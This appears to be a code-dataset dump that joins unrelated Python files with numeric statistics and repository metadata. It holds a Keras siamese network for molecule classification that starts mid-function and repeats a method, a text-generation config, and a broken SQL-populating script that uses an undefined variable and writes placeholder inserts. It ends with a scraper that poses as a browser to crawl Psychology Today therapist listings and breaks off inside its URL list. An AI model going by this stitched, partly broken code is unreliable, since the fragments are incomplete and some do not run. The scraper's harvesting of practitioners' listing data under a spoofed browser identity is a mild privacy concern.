predicted_labels_hot.append(np.sum(predicted_labels) / n_class_example_count) # After looping through all the support classes, store the label hot for that particular eval example predicted_labels_hot_store.append(predicted_labels_hot) # Select the class with the highest avg score and store it predicted_class_store.append(predicted_labels_hot.index(max(predicted_labels_hot))) predicted_labels_hot_store = np.array(predicted_labels_hot_store) # shape (n_examples, n_classes) if ensemble_labels_hot_store != []: ensemble_labels_hot_store += predicted_labels_hot_store else: ensemble_labels_hot_store = predicted_labels_hot_store ensemble_predicted_class_store.append(predicted_class_store) # shape (No. of models, n_examples) # Stuff to ensure keras can run smoothly due to training multiple model instances in the same script del model K.clear_session() gc.collect() eval_end = time.time() print('{} out of {}: {} run time {}'.format(instance + 1, total_model_count, model_path, eval_end - eval_start)) final_ensemble_predicted_class = np.argmax(ensemble_labels_hot_store, axis=1) ensemble_labels_hot_store = np.array(ensemble_labels_hot_store) / total_model_count return ensemble_predicted_class_store, final_ensemble_predicted_class, ensemble_labels_hot_store class SNN_smiles: def __init__(self, SNN_hparams, fl): self.hparams = SNN_hparams self.features_c_dim = fl.features_c_dim self.features_d_count = fl.features_d_count self.fp_length = [SNN_hparams['fp_length'] for _ in range(SNN_hparams['fp_number'])] self.conv_width = [SNN_hparams['conv_width'] for _ in range(SNN_hparams['conv_number'])] # First step: SMILES ==> fingerprint vector # Defining fingerprint(fp) model half_features_d = [] half_conv_net = [] for idx in range(fl.features_d_count): # Creating left input tensors for features_d. # For each molecule # Make one input tensor for atoms, bond, edge tensor half_features_d.append([Input(name='h_a_inputs_' + str(idx) + 'x', shape=fl.features_d_a[idx][0].shape[1:]), Input(name='h_b_inputs_' + str(idx) + 'y', shape=fl.features_d_a[idx][1].shape[1:]), Input(name='h_e_inputs_' + str(idx) + 'z', shape=fl.features_d_a[idx][2].shape[1:], dtype='int32')] ) single_molecule = half_features_d[-1] # Building the half_conv_net for that particular molecule single_molecule_half_conv_net = build_graph_conv_net_fp_only(single_molecule, conv_layer_sizes=self.conv_width, fp_layer_size=self.fp_length, conv_activation=self.hparams[ 'conv_activation'], conv_l1=self.hparams['conv_l1'], conv_l2=self.hparams['conv_l2'], fp_activation='softmax') single_molecule_half_conv_net_model = Model(name='h_fp_' + str(idx), inputs=single_molecule, outputs=single_molecule_half_conv_net) half_conv_net.append(single_molecule_half_conv_net_model) # Second step: Concat features_c and fingerprint vectors ==> form intermediate input vector (IIV) # IIV put into single SNN net # Defining half_model_model half_c = Input(shape=(fl.features_c_dim,)) half_fp = [Input(shape=(self.fp_length[0],)) for _ in range(fl.features_d_count)] # Concat left side 4 inputs and right side 4 inputs half_combined = merge.Concatenate()([half_c] + half_fp) # singlenet for the SNN. Same weights and biases for top and bottom half of SNN singlenet = Sequential() hidden_layers = self.hparams['hidden_layers'] numel = len(hidden_layers) generator_dropout = self.hparams.get('dropout', 0) singlenet.add(Dense(hidden_layers[0], input_dim=self.features_c_dim + self.features_d_count * self.hparams['fp_length'], activation=self.hparams['activation'], kernel_regularizer=regularizers.L1L2(l1=self.hparams['singlenet_l1'], l2=self.hparams['singlenet_l2']))) if generator_dropout != 0: singlenet.add(Dropout(generator_dropout)) if numel > 1: if hidden_layers[1] != 0: # Even if hidden layers has 2 elements, 2nd element may be 0 for i in range(numel - 1): singlenet.add(Dense(hidden_layers[i + 1], activation=self.hparams['activation'], kernel_regularizer=regularizers.L1L2(l1=self.hparams['singlenet_l1'], l2=self.hparams['singlenet_l2']))) singlenet.add(Dense(self.hparams.get('feature_vector_dim', 10), activation='sigmoid')) # Output of half_model encoded_half = singlenet(half_combined) # Make half_model callable half_model = Model(name='half_model_encoded', input=[half_c] + half_fp, output=encoded_half) # All steps together by calling the above models one after another. # fp model ==> half_model ==> L1 distance and final node model lc = Input(name='left_c', shape=(fl.features_c_dim,)) left_features_d = [] left_fp_model = [] rc = Input(name='right_c', shape=(fl.features_c_dim,)) right_features_d = [] right_fp_model = [] for idx in range(fl.features_d_count): # a = atom tensor, b = bond tensor, e = edge tensor left_features_d.append([Input(name='l_a_inputs_' + str(idx) + 'x', shape=fl.features_d_a[idx][0].shape[1:]), Input(name='l_b_inputs_' + str(idx) + 'y', shape=fl.features_d_a[idx][1].shape[1:]), Input(name='l_e_inputs_' + str(idx) + 'z', shape=fl.features_d_a[idx][2].shape[1:], dtype='int32')] ) # Call fp model for each set of left molecules left_fp_model.append(half_conv_net[idx](left_features_d[-1])) # Same as left side. Just change left to right. right_features_d.append( [Input(name='r_a_inputs_' + str(idx) + 'x', shape=fl.features_d_a[idx][0].shape[1:]), Input(name='r_b_inputs_' + str(idx) + 'y', shape=fl.features_d_a[idx][1].shape[1:]), Input(name='r_e_inputs_' + str(idx) + 'z', shape=fl.features_d_a[idx][2].shape[1:], dtype='int32')] ) # Call fp model for each set of right molecules right_fp_model.append(half_conv_net[idx](right_features_d[-1])) # Apply half_model to left and right side encoded_l = half_model([lc] + left_fp_model) encoded_r = half_model([rc] + right_fp_model) # layer to merge two encoded inputs with the l1 distance between them L1_layer = Lambda(lambda tensors: K.abs(tensors[0] - tensors[1])) # call this layer on list of two input tensors. L1_distance = L1_layer([encoded_l, encoded_r]) prediction = Dense(1, activation='sigmoid')(L1_distance) self.siamese_net = Model(name='final_model', input=[lc] + [left_tensor for molecule in left_features_d for left_tensor in molecule] + [rc] + [right_tensor for molecule in right_features_d for right_tensor in molecule], output=prediction) if self.hparams.get('learning_rate', None) is None: self.siamese_net.compile(loss='binary_crossentropy', optimizer=self.hparams['optimizer']) else: sgd = optimizers.Adam(lr=self.hparams['learning_rate']) self.siamese_net.compile(loss='binary_crossentropy', optimizer=sgd) class SNN_smiles_backup: def __init__(self, SNN_hparams, fl): self.hparams = SNN_hparams self.features_c_dim = fl.features_c_dim self.features_d_count = fl.features_d_count self.fp_length = [SNN_hparams['fp_length'] for _ in range(SNN_hparams['fp_number'])] self.conv_width = [SNN_hparams['conv_width'] for _ in range(SNN_hparams['conv_number'])] # Left side lc = Input(shape=(fl.features_c_dim,)) left_features_d = [] left_conv_net = [] for idx in range(fl.features_d_count): # Creating left input tensors for features_d. # For each molecule # Make one input tensor for atoms, bond, edge tensor left_features_d.append([Input(name='l_a_inputs_' + str(idx) + 'x', shape=fl.features_d_a[idx][0].shape[1:]), Input(name='l_b_inputs_' + str(idx) + 'y', shape=fl.features_d_a[idx][1].shape[1:]), Input(name='l_e_inputs_' + str(idx) + 'z', shape=fl.features_d_a[idx][2].shape[1:], dtype='int32')] ) # Building the left_conv_net for that particular molecule left_conv_net.append(build_graph_conv_net_fp_only(left_features_d[idx], conv_layer_sizes=self.conv_width, fp_layer_size=self.fp_length, conv_activation='relu', fp_activation='softmax')) # Right side rc = Input(shape=(fl.features_c_dim,)) right_features_d = [] right_conv_net = [] for idx in range(fl.features_d_count): # Same as left side. Just change left to right. right_features_d.append( [Input(name='r_a_inputs_' + str(idx) + 'x', shape=fl.features_d_a[idx][0].shape[1:]), Input(name='r_b_inputs_' + str(idx) + 'y', shape=fl.features_d_a[idx][1].shape[1:]), Input(name='r_e_inputs_' + str(idx) + 'z', shape=fl.features_d_a[idx][2].shape[1:], dtype='int32')] ) right_conv_net.append(build_graph_conv_net_fp_only(right_features_d[idx], conv_layer_sizes=self.conv_width, fp_layer_size=self.fp_length, conv_activation='relu', fp_activation='softmax') ) # Concat left side 4 inputs and right side 4 inputs left_combined = merge.Concatenate()([lc] + left_conv_net) right_combined = merge.Concatenate()([rc] + right_conv_net) encoded_l = self.singlenet()(left_combined) encoded_r = self.singlenet()(right_combined) # layer to merge two encoded inputs with the l1 distance between them L1_layer = Lambda(lambda tensors: K.abs(tensors[0] - tensors[1])) # call this layer on list of two input tensors. L1_distance = L1_layer([encoded_l, encoded_r]) prediction = Dense(1, activation='sigmoid')(L1_distance) self.siamese_net = Model( input=[lc] + [left_tensor for molecule in left_features_d for left_tensor in molecule] + [rc] + [right_tensor for molecule in right_features_d for right_tensor in molecule], output=prediction) if self.hparams.get('learning_rate', None) is None: self.siamese_net.compile(loss='binary_crossentropy', optimizer=self.hparams['optimizer']) else: sgd = optimizers.Adam(lr=self.hparams['learning_rate']) self.siamese_net.compile(loss='binary_crossentropy', optimizer=sgd) def singlenet(self): model = Sequential() hidden_layers = self.hparams['hidden_layers'] numel = len(hidden_layers) generator_dropout = self.hparams.get('dropout', 0) model.add(Dense(hidden_layers[0], input_dim=self.features_c_dim + self.features_d_count * self.hparams['fp_length'], activation=self.hparams['activation'], kernel_regularizer=regularizers.l2(self.hparams['reg_term']))) if generator_dropout != 0: model.add(Dropout(generator_dropout)) if numel > 1: if hidden_layers[1] != 0: # Even if hidden layers has 2 elements, 2nd element may be 0 for i in range(numel - 1): model.add(Dense(hidden_layers[i + 1], activation=self.hparams['activation'], kernel_regularizer=regularizers.l2(self.hparams['reg_term']))) model.add(Dense(self.hparams.get('feature_vector_dim', 10), activation='sigmoid')) return model class Siamese_loader_smiles: def __init__(self, model, x_train, SNN_hparams=None): """ :param model: SNN class model :param x_train: Features_labels class containing training dataset. """ if SNN_hparams is None: assert isinstance(model, list), 'SNN_hparams is only None if model given is an ensemble of model and only' \ 'eval_ensemble is going to be used.' # General attributes if isinstance(model, list): # If model is given as a list, means using eval_ensemble ONLY! self.model_store = model else: self.model = model self.hparams = SNN_hparams self.x_train = x_train self.n_classes = x_train.n_classes self.n_examples = x_train.count # features_c and d self.features_c_norm = x_train.features_c_norm self.features_c_dim = self.features_c_norm[0][1].shape[1] self.features_d = x_train.features_d # labels self.labels = x_train.labels def get_batch(self, batch_size): categories = rng.choice(self.n_classes, size=(batch_size,), replace=True) # Create list of empty list. Each side of the SNN gets 1 + 3*features_d_count inputs. Times 2 for left and right pairs = [[] for _ in range((1 + self.x_train.features_d_count * 3) * 2)] targets = np.zeros((batch_size,)) targets[batch_size // 2:] = 1 for i in range(batch_size): # Set the left category (aka class) for the loop category = categories[i] # Get no. of examples for left class in the loop n_examples = self.features_c_norm[category][1].shape[0] # Choose one random example out of the examples in the left class idx_1 = rng.randint(0, n_examples) # Append features c to the 0th list in the pairs nested list idx = 0 pairs[idx].append(self.features_c_norm[category][1][idx_1, ...]) # Add one to the counter idx that is keeping track of the current position in the nested list idx += 1 # Adding information about features_d for single_molecule in self.features_d: for single_tensor in single_molecule: pairs[idx].append(single_tensor[category][1][idx_1, ...]) idx += 1 # Setting right side # Half same class, half different class if i >= batch_size // 2: # Same class examples for the later half of the batch category_2 = category else: # Different class examples for the first half of the batch category_2 = (category + rng.randint(1, self.n_classes)) % self.n_classes # Randomly choose diff class # Since different class will have different number of examples in it to randomly select from # need to set new value to n_examples to randomly select examples from the different class. n_examples = self.features_c_norm[category_2][1].shape[0] # Choose one random example from right class idx_2 = rng.randint(0, n_examples) # Next few lines are same as left side. Just change category 1 to 2, idx 1 to 2 pairs[idx].append(self.features_c_norm[category_2][1][idx_2, ...]) idx += 1 for single_molecule in self.features_d: for single_tensor in single_molecule: pairs[idx].append(single_tensor[category_2][1][idx_2, ...]) idx += 1 # Convert nested list to a list of ndarray pairs = [np.array(pair) for pair in pairs] # print([pair.shape for pair in pairs]) return pairs, targets def generate(self, batch_size): """a generator for batches, so model.fit_generator can be used. """ while True: pairs, targets = self.get_batch(batch_size) yield (pairs, targets) def train(self, steps, batch_size, pair_size, verbose=1, save_mode=False, save_dir='./save/models/', save_name='SNN.h5'): ''' Method to call to train keras SNN_smiles model :param steps: Number of steps to train model on. 1 step is training the model for 1 iteration on 1 batch :param batch_size: Number of set of pairs per epoch :param pair_size: Number of pairs of examples in 1 batch :param verbose: Keras verbose. 0 = silent, 1 = full details, 2 = less details :param save_mode: to determine whether or not to save the model :param save_dir: directory the model will be saved into :param save_name: name of the saved model :return: ''' self.model.fit_generator(generator=self.generate(pair_size), steps_per_epoch=batch_size, epochs=steps, verbose=verbose) if save_mode: # keras saved model must be saved with file extension .h5 at the end if save_name[-3] != '.h5': save_name = save_name + '.h5' self.model.save(save_dir + save_name) return self.model def get_oneshot_predict_batch(self, category, eval_idx, eval_fl): n_examples_category = self.features_c_norm[category][1].shape[0] pairs = [[] for _ in range((1 + self.x_train.features_d_count * 3) * 2)] # Left side inputs. Left input rows represents all the examples for that particular category in the support set # Append features c to the 0th list in the pairs nested list. Take entire example in that support set. idx = 0 pairs[idx] = self.features_c_norm[category][1] # Add one to the counter idx that is keeping track of the current position in the nested list idx += 1 # Adding information about left features_d for the support set for single_molecule in self.features_d: for single_tensor in single_molecule: pairs[idx] = single_tensor[category][1] idx += 1 # Right side inputs. Right side rows is all the same, containing the same eval example that is being evaluated. # Append features c to the current idx list in the pairs nested list pairs[idx] = np.repeat(eval_fl.features_c_norm_a[None, eval_idx, ...], n_examples_category, axis=0) # Add one to the counter idx that is keeping track of the current position in the nested list idx += 1 # Adding information about features_d for eval example for single_molecule in eval_fl.features_d_a: for single_tensor in single_molecule: # Since there is only 1 eval example but many examples in the support set # dublicate the eval example n_examples_category number of times to match support set shape. pairs[idx] = np.repeat(single_tensor[None, eval_idx, ...], n_examples_category, axis=0) idx += 1 return pairs def eval(self, eval_fl): eval_start = time.time() # One hot encoding for labels labels_hot = eval_fl.labels_hot # Dense representation for labels labels = eval_fl.labels # Total number of examples to evaluate n_examples_predict = eval_fl.count model = self.model # Store the predicted class for the eval examples. [class_1, class_2, class_3, ... , class_last_eval] predicted_class_store = [] # Store predicted hot labels for the eval examples. Nested list (no. of eval examples, total no. of classes) predicted_labels_hot_store = [] for j in range(n_examples_predict): # Looping through all examples # Store the final SNN node output when comparing current example with support set examples predicted_labels_hot = [] for i in range(self.n_classes): # For one example, check through all classes pairs = self.get_oneshot_predict_batch(category=i, eval_idx=j, eval_fl=eval_fl) # Vector of scores for one example against one class. shape = (no. of support set,) predicted_labels = model.predict(pairs) # Avg score for that one support class. n_class_example_count = self.features_c_norm[i][1].shape[0] predicted_labels_hot.append(np.sum(predicted_labels) / n_class_example_count) # After looping through all the support classes, store the label hot for that particular eval example predicted_labels_hot_store.append(predicted_labels_hot) # Select the class with the highest avg score and store it predicted_class_store.append(predicted_labels_hot.index(max(predicted_labels_hot))) # Convert nest list to ndarray predicted_labels_hot_store = np.array(predicted_labels_hot_store) # Compute some evaluation metrics acc = accuracy_score(labels, predicted_class_store) ce = log_loss(labels_hot, predicted_labels_hot_store) cm = confusion_matrix(labels, predicted_class_store) try: f1s = f1_score(labels, predicted_class_store) # Will work for binary classification except ValueError: # Multi-class will raise ValueError from sklearn f1_score function f1s = f1_score(labels, predicted_class_store, average='micro') # Must use micro averaging for multi-class mcc = matthews_corrcoef(labels, predicted_class_store) eval_end = time.time() print('eval run time : {}'.format(eval_end - eval_start)) return predicted_class_store, acc, ce, cm, f1s, mcc def eval_ensemble(self, eval_fl): n_examples_predict = eval_fl.count total_model_count = len(self.model_store) ensemble_predicted_class_store = [] ensemble_labels_hot_store = [] for instance, model_path in enumerate(self.model_store): # Stuff to ensure keras can run smoothly due to training multiple model instances in the same script sess = tf.Session() K.set_session(sess) eval_start = time.time() model = load_model(model_path, custom_objects={'NeuralGraphHidden': NeuralGraphHidden, 'NeuralGraphOutput': NeuralGraphOutput}) predicted_class_store = [] predicted_labels_hot_store = [] for j in range(n_examples_predict): # Looping through all examples # Store the final SNN node output when comparing current example with support set examples predicted_labels_hot = [] for i in range(self.n_classes): # For one example, check through all classes pairs = self.get_oneshot_predict_batch(category=i, eval_idx=j, eval_fl=eval_fl) # Vector of scores for one example against one class predicted_labels = model.predict(pairs) # Avg score for that one class n_class_example_count = self.features_c_norm[i][1].shape[0] predicted_labels_hot.append(np.sum(predicted_labels) / n_class_example_count) # After looping through all the support classes, store the label hot for that particular eval example predicted_labels_hot_store.append(predicted_labels_hot) # Select the class with the highest avg score and store it predicted_class_store.append(predicted_labels_hot.index(max(predicted_labels_hot))) predicted_labels_hot_store = np.array(predicted_labels_hot_store) # shape (n_examples, n_classes) if ensemble_labels_hot_store != []: ensemble_labels_hot_store += predicted_labels_hot_store else: ensemble_labels_hot_store = predicted_labels_hot_store ensemble_predicted_class_store.append(predicted_class_store) # shape (No. of models, n_examples) # Stuff to ensure keras can run smoothly due to training multiple model instances in the same script del model K.clear_session() gc.collect() eval_end = time.time() print('{} out of {}: {} run time {}'.format(instance + 1, total_model_count, model_path, eval_end - eval_start)) final_ensemble_predicted_class = np.argmax(ensemble_labels_hot_store, axis=1) ensemble_labels_hot_store = np.array(ensemble_labels_hot_store) / total_model_count return ensemble_predicted_class_store, final_ensemble_predicted_class, ensemble_labels_hot_store
55.361963
120
0.609951
5,722
45,120
4.56309
0.078644
0.022405
0.020912
0.018231
0.82884
0.813635
0.793795
0.779548
0.77139
0.757564
0
0.012623
0.304721
45,120
814
121
55.429975
0.819674
0.209286
0
0.741935
0
0
0.047449
0
0
0
0
0
0.001698
1
0.040747
false
0
0.03056
0
0.108659
0.010187
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4bece07496278872ff58c6868d7bb2f2b42d8014
289
py
Python
tlidb/examples/configs/generation_config.py
alon-albalak/TLiDB
4f3524a3bbe7580e417dd884c4dc8751bdaf8855
[ "MIT" ]
null
null
null
tlidb/examples/configs/generation_config.py
alon-albalak/TLiDB
4f3524a3bbe7580e417dd884c4dc8751bdaf8855
[ "MIT" ]
null
null
null
tlidb/examples/configs/generation_config.py
alon-albalak/TLiDB
4f3524a3bbe7580e417dd884c4dc8751bdaf8855
[ "MIT" ]
null
null
null
t5_generation_config = { "do_sample": True, "num_beams": 2, "repetition_penalty": 5.0, "length_penalty": 1.0, "num_return_sequences": 1, } GPT2_generation_config = { "do_sample": True, "num_beams": 2, "repetition_penalty": 5.0, "length_penalty": 1.0, }
20.642857
30
0.626298
38
289
4.394737
0.473684
0.191617
0.215569
0.287425
0.850299
0.850299
0.850299
0.850299
0.850299
0.850299
0
0.057269
0.214533
289
14
31
20.642857
0.678414
0
0
0.615385
0
0
0.413793
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
4bfd2f85dfa906bf1c029fd591175cba345b9224
5,277
py
Python
Project Resources/Convert.py
chandler-stevens/scarran-music
bb7d72dbcbc8c96fb59cde54d6a172a8ef8d6867
[ "MIT" ]
1
2019-11-16T00:56:03.000Z
2019-11-16T00:56:03.000Z
Project Resources/Convert.py
chandler-stevens/scarran-music
bb7d72dbcbc8c96fb59cde54d6a172a8ef8d6867
[ "MIT" ]
null
null
null
Project Resources/Convert.py
chandler-stevens/scarran-music
bb7d72dbcbc8c96fb59cde54d6a172a8ef8d6867
[ "MIT" ]
null
null
null
import json import sys import os from scipy.io import arff import pandas as pd with open(populate + ".sql", "w") as filesql: #opens Band file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() #write bands here for line in data: filesql.write("INSERT INTO Band VALUES (") # NULL, # 'Coldplay' filesql.write(");\n") file.close() #opens Artist file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO Artist VALUES (") # NULL, # 'Chris', # 'Martin' filesql.write(");\n") file.close() #opens BandArtist file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO BandArtist VALUES (") # NULL, # (SELECT bandID FROM Band # WHERE bandName = 'Coldplay'), # (SELECT artistID FROM Artist # WHERE fName = 'Chris' # AND lName = 'Martin') filesql.write(");\n") file.close() #opens label file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO Label VALUES (") # NULL, # 'Parlophone' filesql.write(");\n") file.close() #opens albums file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO Album VALUES (") # NULL, # 'Viva la Vida or Death and All His Friends', # FALSE filesql.write(");\n") file.close() #opens bandalbums file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO BandAlbum VALUES (") # NULL, # (SELECT bandID FROM Band # WHERE bandName = 'Coldplay'), # (SELECT albumID FROM Album # WHERE albumTitle = 'Viva la Vida or Death and All His Friends') filesql.write(");\n") file.close() #opens albumlabel file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO AlbumLabel VALUES (") # NULL, # (SELECT albumID FROM Album # WHERE albumTitle = 'Viva la Vida or Death and All His Friends'), # (SELECT labelID FROM Label # WHERE labelName = 'Parlophone') filesql.write(");\n") file.close() #opens Song file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO Song VALUES (") # NULL, # 'Viva la Vida', # '00:04:01', # 'lyrics' add \ to 's filesql.write(");\n") file.close() #opens AlbumSong file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO AlbumSong VALUES (") # NULL, # (SELECT albumID FROM Album # WHERE albumTitle = 'Viva la Vida or Death and All His Friends'), # (SELECT songID FROM Song # WHERE songTitle = 'Viva la Vida' # AND lyrics LIKE 'I used to rule the world%') filesql.write(");\n") file.close() #opens BandSong file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO AlbumSong VALUES (") # NULL, # (SELECT bandID FROM Band # WHERE bandName = 'Coldplay'), # (SELECT songID FROM Song # WHERE songTitle = 'Viva la Vida' # AND lyrics LIKE 'I used to rule the world%') filesql.write(");\n") file.close() #opens Playlist file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO Playlist VALUES (") # NULL, # 'Coldplay Live 2014' filesql.write(");\n") file.close() #opens PlaylistSong file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO PlaylistSong VALUES (") # NULL, # (SELECT playlistID FROM Playlist # WHERE playlistTitle = 'Coldplay Live 2014'), # (SELECT songID FROM Song # WHERE songTitle = 'Viva la Vida' # AND lyrics LIKE 'I used to rule the world%') filesql.write(");\n") file.close() #opens Concert file and uses to iterate. with open(sys.argv[1], "r") as file: #open other relevant files here data = file.readlines() for line in data: filesql.write("INSERT INTO Concert VALUES (") # NULL, # (SELECT playlistID FROM Playlist # WHERE playlistTitle = 'Coldplay Live 2014'), # 'Royal Albert Hall, London, England', # '2014-07-01' filesql.write(");\n") file.close() filesql.close() sys.exit(0)
20.533074
69
0.627061
727
5,277
4.551582
0.148556
0.094288
0.043215
0.051073
0.845875
0.83016
0.789362
0.747053
0.736476
0.726503
0
0.010111
0.250332
5,277
257
70
20.533074
0.82634
0.449877
0
0.77907
0
0
0.156272
0
0
0
0
0
0
1
0
false
0
0.05814
0
0.05814
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ef36a54dddfe76433b9112647f837f94967acea5
44
py
Python
WeatherPy/.ipynb_checkpoints/weather_api-checkpoint.py
i-kkwk/PythonAPI_challenge
bd2924e35a64e7f37327f4573abd3ac403d9a019
[ "ADSL" ]
null
null
null
WeatherPy/.ipynb_checkpoints/weather_api-checkpoint.py
i-kkwk/PythonAPI_challenge
bd2924e35a64e7f37327f4573abd3ac403d9a019
[ "ADSL" ]
null
null
null
WeatherPy/.ipynb_checkpoints/weather_api-checkpoint.py
i-kkwk/PythonAPI_challenge
bd2924e35a64e7f37327f4573abd3ac403d9a019
[ "ADSL" ]
null
null
null
api_key = "1d05f4c6d232e227cd0f6779f251c02c"
44
44
0.886364
3
44
12.666667
1
0
0
0
0
0
0
0
0
0
0
0.5
0.045455
44
1
44
44
0.404762
0
0
0
0
0
0.711111
0.711111
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
322a85886c95623bbffe576ec5f3ad7f698f2e57
98,670
py
Python
psychology_today1.py
nameverb/programming-final
cb7e1ff1a984508c86622259c517d8c2faba536e
[ "MIT" ]
1
2021-01-16T11:16:56.000Z
2021-01-16T11:16:56.000Z
psychology_today1.py
nameverb/programming-final
cb7e1ff1a984508c86622259c517d8c2faba536e
[ "MIT" ]
null
null
null
psychology_today1.py
nameverb/programming-final
cb7e1ff1a984508c86622259c517d8c2faba536e
[ "MIT" ]
null
null
null
from bs4 import BeautifulSoup import pprint import requests import json import collections import time import re pp = pprint.PrettyPrinter(indent=4) all_my_data = [] headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36' } # list of URLs for the for loop to iterate over url_list = ["https://www.psychologytoday.com/us/therapists/profile-listings/alabama/a", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/b", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/c", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/d", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/e", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/f", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/g", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/h", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/i", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/j", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/k", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/l", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/m", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/n", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/o", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/p", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/q", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/r", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/s", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/t", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/u", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/v", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/w", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/y", "https://www.psychologytoday.com/us/therapists/profile-listings/alabama/z", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/a", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/b", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/c", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/d", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/e", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/f", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/g", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/h", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/i", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/j", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/k", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/l", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/m", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/n", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/o", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/p", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/r", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/s", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/t", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/w", "https://www.psychologytoday.com/us/therapists/profile-listings/alaska/y", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/a", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/b", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/c", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/d", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/e", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/f", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/g", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/h", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/i", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/j", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/k", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/l", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/m", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/n", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/o", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/p", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/q", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/r", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/s", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/t", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/u", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/v", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/w", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/y", "https://www.psychologytoday.com/us/therapists/profile-listings/arizona/z", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/a", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/b", 